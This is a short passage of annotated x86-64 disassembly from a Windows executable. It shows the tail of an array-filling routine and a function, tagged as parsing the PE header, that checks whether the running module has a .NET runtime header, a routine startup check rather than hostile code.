mov rdx, qword [rsp + 0x50]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rsp + 0x50]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rsp + 0x50]
mov dword [rax], 0
add rsp, 0x48
ret

Function at 0x140008598
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400085e2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400085e2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400085e2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400085e2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400085e2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400085e4
xor al, al
add rsp, 0x28
ret